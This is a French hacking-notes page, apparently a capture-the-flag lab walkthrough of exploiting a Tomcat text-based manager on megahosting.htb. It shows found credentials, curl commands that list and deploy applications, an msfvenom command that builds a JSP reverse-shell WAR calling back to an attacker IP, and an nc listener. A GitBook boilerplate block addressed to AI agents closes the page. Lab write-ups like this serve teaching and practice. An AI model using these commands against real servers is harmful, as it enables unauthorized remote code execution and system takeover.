> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md).

# Gestionnaire de texte Tomcat

### **Exploitation du gestionnaire de texte Tomcat**

**Identifiants** trouvés :

`nom d'utilisateur = tomcat`

`mot de passe = $3cureP4s5w0rd123!`

<figure><img src="/files/3ab2f9e0d7af259f963cc2147d81d194d161bc46" alt=""><figcaption></figcaption></figure>

**Tentative d'accès** en `/manager/html` renvoie une erreur 403.<br>

<figure><img src="/files/b9913867346920a0f8b1e55179c35e4eb8b5106b" alt=""><figcaption></figcaption></figure>

1. **Alternative via `/host-manager/html`**, mais il ne peut pas créer une application à partir d'un `.war` .

{% embed url="<https://www.certilience.fr/2019/03/tomcat-exploit-variant-host-manager/>" %}

<figure><img src="/files/2419eef5ae903b409a740f4fdc5907a51481fd7c" alt=""><figcaption></figcaption></figure>

**Lister les applications depuis la ligne de commande :**

```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```

<figure><img src="/files/fdf2607db97b49f253cb4a699a9aecdb371a8b58" alt=""><figcaption></figcaption></figure>

**Créer un fichier WAR de shell inversé** par `msfvenom`:

{% code overflow="wrap" fullWidth="false" %}

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```

{% endcode %}

<figure><img src="/files/034f17d7c150edc280834760d67edc386dbdd772" alt="" width="563"><figcaption></figcaption></figure>

**Déployer le fichier WAR** avec curl :

{% code overflow="wrap" %}

```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```

{% endcode %}

<figure><img src="/files/103dfc0af74bc269e8b30abd997b07e5222ce31a" alt=""><figcaption></figcaption></figure>

**Écouter la connexion du shell inversé**

```bash
nc -nlvp 443 
```

**Accès au shell inversé** via `http://megahosting.htb:8080/reverse`.

<figure><img src="/files/21d7fff93e02ec661d5c8e7929b8c0036eade524" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/dd6889b9cf80bc5cb30657eba7663ecfd74eb4d9" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/tomcat-cms-exploitation/tomcat-text-based-manager.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
